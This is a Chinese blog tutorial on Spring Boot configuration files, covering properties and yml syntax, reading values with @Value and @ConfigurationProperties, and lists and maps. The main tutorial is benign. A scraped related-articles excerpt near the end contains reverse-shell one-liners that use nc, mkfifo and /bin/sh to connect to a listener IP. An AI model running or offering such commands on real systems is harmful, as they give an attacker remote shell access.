【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

💓 博客主页:从零开始的-CodeNinja之路

⏩ 收录文章:【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

🎉欢迎大家点赞👍评论📝收藏⭐文章

目录

  • Spring Boot 配置文件
    • 一. 配置文件作用
    • 二. 配置文件的格式
    • 三. 配置 properties 文件
        • 3.1 properties 基本语法
        • 3.2 读取 properties 文件
        • 3.3 properties 缺点分析
    • 四. 配置 yml 文件
        • 4.1 yml 基本语法
        • 4.2 yml 配置不同数据类型及 null
        • 4.3 yml 的配置读取
        • 4.4 配置 集合
        • 4.5 配置 Map
        • 4.6 yml 优缺点
    • 总结

Spring Boot 配置文件

一. 配置文件作用

配置文件主要是为了解决硬编码带来的问题,把可能会发生改变的信息,放在⼀个集中的地方,当我们启
动某个程序时,应用程序从配置文件中读取数据,并加载运行.
使用配置文件,可以使程序完成用户和应用程序的交互,或者应用程序与其他应用程序的交互

Spring Boot 配置文件
SpringBoot支持并定义了配置文件的格式,也在另⼀个层⾯达到了规范其他框架集成到SpringBoot的
目的.
很多项目或者框架的配置信息也放在配置文件中,比如:

  • 项目的启动端口
  • 数据库的连接信息(包含用户名和密码的设置)
  • 第三方系统的调用密钥等信息
  • 用于发现和定位问题的普通日志和异常日志等.

数据库连接信息 为了更方便简单的访问数据库,出现了⼀些持久层框架,其实就是对JDBC进行了更深层次的封装.让用
⼾通过简单⼏行代码就可完成数据库的访问.但是不同的应用程序访问的数据库不同,这些持久层框 架就需要⽀持用户可以⾃定义配置数据库的连接信息

二. 配置文件的格式

SpringBoot配置文件有以下三种:

  • application.properties
  • application.yml
  • application.yaml
    yml为yaml的简写,实际开发中出现频率最高.yaml和yml的使用方式⼀样
    当应用程序启动时,SpringBoot会⾃动从classpath路径找到并加载application.properties 和 application.yaml 或者 application.yml 文件.

特别注意:

  1. 理论上讲 .properties 和 .yml 可以并存在于⼀个项目中,当 .properties 和 .yml
    并存时,两个配置都会加载.如果配置文件内容有冲突,则以 .properties 为主,也就是
    .properties 优先级更高.
  2. 虽然理论上来讲 .properties 可以和 .yml 共存,但实际的业务当中,我们通常会采取⼀种
    统⼀的配置文件格式,这样可以更好的维护(降低故障率).

三. 配置 properties 文件

properties配置文件是最早期的配置文件格式,也是创建SpringBoot项目默认的配置文件

3.1 properties 基本语法

properties是以键值的形式配置的,key和value之间是以"="连接的,如:

// 配置项目端口号
server.port=8080

//配置数据库连接信息
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/testdb?
characterEncoding=utf8&useSSL=false
//配置数据库的用户名
spring.datasource.username=root
//配置数据库的密码
spring.datasource.password=root
3.2 读取 properties 文件

如果在项目中,想要主动的读取配置文件中的内容,可以使用 @Value 注解来实现。
@Value 注解使用" ${} "的格式读取,如下代码所示:
properties配置如下:

import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class PropertiesController {
	@Value("${mykey.key1}")
	private String key1;
	
	@RequestMapping("/key")
	public String key(){
		return "读取到值:"+key1;
	}
}
3.3 properties 缺点分析

properties配置是以key-value的形式配置的,会产生很多的代码冗余,如下图所示:
在这里插入图片描述
从上述配置key看出,properties配置文件中会有很多的冗余的信息,比如这些:
在这里插入图片描述
所以在使用时,我们大多数会选用yml配置文件,yml配置文件可以很好的解决代码冗余的问题.
接下来我们来介绍如何去配置yml文件

四. 配置 yml 文件

yml是YAML是缩写,它的全称YetAnotherMarkupLanguage翻译成中文就是“另⼀种标记语言.
我们先来学习yml的语法

4.1 yml 基本语法

yml是树形结构的配置文件,它的基础语法是"key:value".
key和value之间使用英文冒号加空格的方式组成,空格不可省略基础语法如下:
使用yml连接数据库yml使用示例:


```cpp
spring:
	datasource:
		url: jdbc:mysql://127.0.0.0:3306/dbname?characterEncoding=utf8&useSSL=false
		username: root
		password: root
4.2 yml 配置不同数据类型及 null
// 字符串
string.value: Hello

// 布尔值,true或false
boolean.value: true
boolean.value1: false

// 整数
int.value: 10

// 浮点数
float.value: 3.14159

// Null,~代表null
null.value: ~

// "" 空字符串
// 直接后⾯什么都不加就可以了, 但这种方式不直观, 更多的表示是使用引号括起来
empty.value: ''
4.3 yml 的配置读取

yml读取配置的方式和properties相同,使用@Value注解即可,实现代码如下:
yml配置:

string:
hello: Spring Boot

@RestController
public class ReadYml {
	@Value("${string.hello}")
	private String hello;
	
	@RequestMapping("/ymlKey")
	public String key(){
		return "读取到值:"+hello;
	}
}
4.4 配置 集合

配置文件也可以配置list集合,如下所示:

dbtypes:
	name:
		- mysql
		- sqlserver
		- db2

集合的读取和对象⼀样,也是使用 @ConfigurationProperties 来读取的,具体实现如下:

	@Component
	@ConfigurationProperties("dbtypes")
	@Data
	
	public class ListConfig {
		private List<String> name;
	}

访问集合的实现如下:

@RestController
public class ReadYml2 {

	@Autowired
	private ListConfig listConfig;
	
	@RequestMapping("/readList")
	public String readList(){
		return listConfig.toString();
	}
}
4.5 配置 Map

配置文件也可以配置map,如下所示:

maptypes:
	map:
		k1: kk1
		k2: kk2
		k3: kk3

Map的读取和对象⼀样,也是使用 @ConfigurationProperties 来读取的,具体实现如下:

@Component
@ConfigurationProperties("maptypes")
@Data

public class MapConfig {
	private HashMap<String,String> map;
}

打印类的实现如下:

@RestController
public class ReadYml2 {

	@Autowired
	private MapConfig mapConfig;
	
	@RequestMapping("/readMap")
	public String readStudent(){
		return mapConfig.toString();
	}
}
4.6 yml 优缺点

优点:

  1. 可读性高,写法简单,易于理解
  2. ⽀持更多的数据类型,可以简单表达对象,数组,List,Map等数据形态.
  3. ⽀持更多的编程语言,不⽌是Java中可以使用,在Golang,Python,Ruby,JavaScript中也可以使用
    缺点:
  4. 不适合写复杂的配置文件
  5. 对格式有较强的要求(⼀个空格可能都会引起错误)

总结

1. properties是以key=value的形式配置的键值类型的配置文件,yml使用的是树形配置方式.
2. 读取配置文件内容,使用 @Value 注解,注解内使用" ${} “的格式读取.
3. yml层级之间使用换行缩进的方式配置,key和value之间使用”:"(英文冒号)加空格的方式设置,并
且空格不可省略.
4. properties为早期并且默认的配置文件格式,其配置存在⼀定的冗余数据,使用yml可以很好的解决
数据冗余的问题,但不适合复杂配置.
5. yml可以和properties共存,但⼀个项目中建议使用⼀种配置类型文件.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562159.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第65天:API攻防-接口安全WebPackRESTSOAPWSDLWebService

目录 思维导图 前置知识 案例一&#xff1a;WebService 类-Wsdl&ReadyAPI-SQL 注入 案例二&#xff1a;SOAP 类-Swagger&SoapUI&EXP-信息泄露 案例三&#xff1a;HTTP 类-WebPack&PackerFuzzer-信息泄露 思维导图 前置知识 RPC接口: 登录游戏时候登录账号…

细说会话三剑客: Cookie、Session和Token

0. 必要性论证 在日常的开发中&#xff0c;不管是前端或者后端领域&#xff0c;都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别&#xff0c;当然&#xff0c;在面试过程中&#xff0c;这也是一个很常见的基本面试…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统&#xff0c;能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion&#xff1a;通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中&#xff0c;找到“General”选项。在“General”选项中&#xff0c;找到“Localization”&#xff08;界面语言&#xff09;项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础&#xff0c;而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号&#xff0c;包括但不限于慢性阻塞性肺病&#xff08;COPD&#xff09;、阻塞性睡眠呼吸暂停&#xff08;OSA&#xff09;、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问&#xff0c;是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构&#xff0c;能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新&#xff0c;以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理&#xff0c;仅供学习参考。 ppt可编辑&#xff08;完整资料包含以下内容&#xff09;目录个人IP孵化方案概要&#xff1a; 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是&#xff1a; 空树非空&#xff1a;根节点&#xff0c;根节点的左子树、根节点的右子树组成的。 前序&#xff1a; 根 左子树 右子树 --》先根 中序&#xff1a;左子树 根 右子树 --》中根 后序&#xff1a;左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

密钥密码学(一)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 从秘密解码环到政府政策声明&#xff0c;隐藏和发现信息的挑战长期以来一直吸引着智慧。密码学是一个引人入胜的主题&#xff0c;…

分享四月书单

Hello , 我是小恒。之后有物理服务器搭建和大容量高并发数据中心的需求&#xff0c;所以四月在写一些避坑方面的文章比较少&#xff0c;主在写一些基础入门和本地开发的操作。可能五一就开始组装调试上线&#xff0c;CSDN也马上获得后端优质创作者&#xff0c;不过遗憾的是&…

Matlab 使用subplot绘制多个子图,一元拟合

实现效果&#xff1a; clc; clear;filename sri.xlsx; % 确认文件路径data readtable(filename); datavalue data{:,2:end}; datavalue datavalue;fig figure(Position, [0, 0, 1500, 900]); indexString ["(a)","(b)","(c)","(d)&qu…

LinkedList和链表

1.ArrayList的缺陷 ArraryList由于底层是一段连续的空间&#xff0c;所以在ArrayList任意位置插入或者删除元素时&#xff0c;就 需要将后续元素往前或者往后搬移&#xff0c;时间复杂度为O(n)&#xff0c;效率比较低&#xff0c;因此ArrayList不适合做任意位置插入和删除比较…

Json三方库介绍

目录 Json是干什么的Json序列化代码Json反序列化代码 Json是干什么的 Json是一种轻量级的数据交换格式&#xff0c;也叫做数据序列化方式。Json完全独立于编程语言的文本格式来存储和表述数据。易于人阅读和编写&#xff0c;同时也易于机器解析和生成&#xff0c;并有效地提升…

Linux--进程间的通信-共享内存

前文&#xff1a; Linux–进程间的通信-匿名管道 Linux–进程间的通信–进程池 Linux–进程间的通信-命名管道 共享内存 对于两个进程&#xff0c;通过在内存开辟一块空间&#xff08;操作系统开辟的&#xff09;&#xff0c;进程的虚拟地址通过页表映射到对应的共享内存空间中…

# 从浅入深 学习 SpringCloud 微服务架构(三)注册中心 Eureka(3)

从浅入深 学习 SpringCloud 微服务架构&#xff08;三&#xff09;注册中心 Eureka&#xff08;3&#xff09; 段子手168 1、eureka&#xff1a;高可用的引入 Eureka Server 可以通过运行多个实例并相互注册的方式实现高可用部署&#xff0c; Eureka Server 实例会彼此增量地…

文件批量高效重命名,支持重命名后不满意恢复原名,高效管理文件

我们每天都会与大量的文件打交道&#xff0c;无论是工作文件、学习资料&#xff0c;还是生活照片、视频&#xff0c;都需要我们进行高效的文件管理。然而&#xff0c;传统的文件重命名方式往往效率低下&#xff0c;无法满足我们的需求。今天&#xff0c;我们为您带来了一款批量…

MATLAB设置变量

您可以通过简单的方式分配变量。例如&#xff0c; 示例 x 3 %定义x并用值初始化它 MATLAB将执行上述语句并返回以下结果- x 3 它创建一个名为x的1乘1矩阵&#xff0c;并将值3存储在其元素中。再举一个实例&#xff0c; 示例 x sqrt(16) %定义x并用表达式初始化它 MATLAB将…

cv2技术原理-图像旋转原理及手动实现

cv2技术原理-图像旋转原理及手动实现 1、图像旋转opencv实现2、cv2.getRotationMatrix2D函数解释3、数学原理推导旋转矩阵M4、手动计算旋转矩阵M5、旋转矩阵M的使用6、使用旋转矩阵M手动实现旋转功能 1、图像旋转opencv实现 图像旋转在对数据集数据增强&#xff08;主要是随机…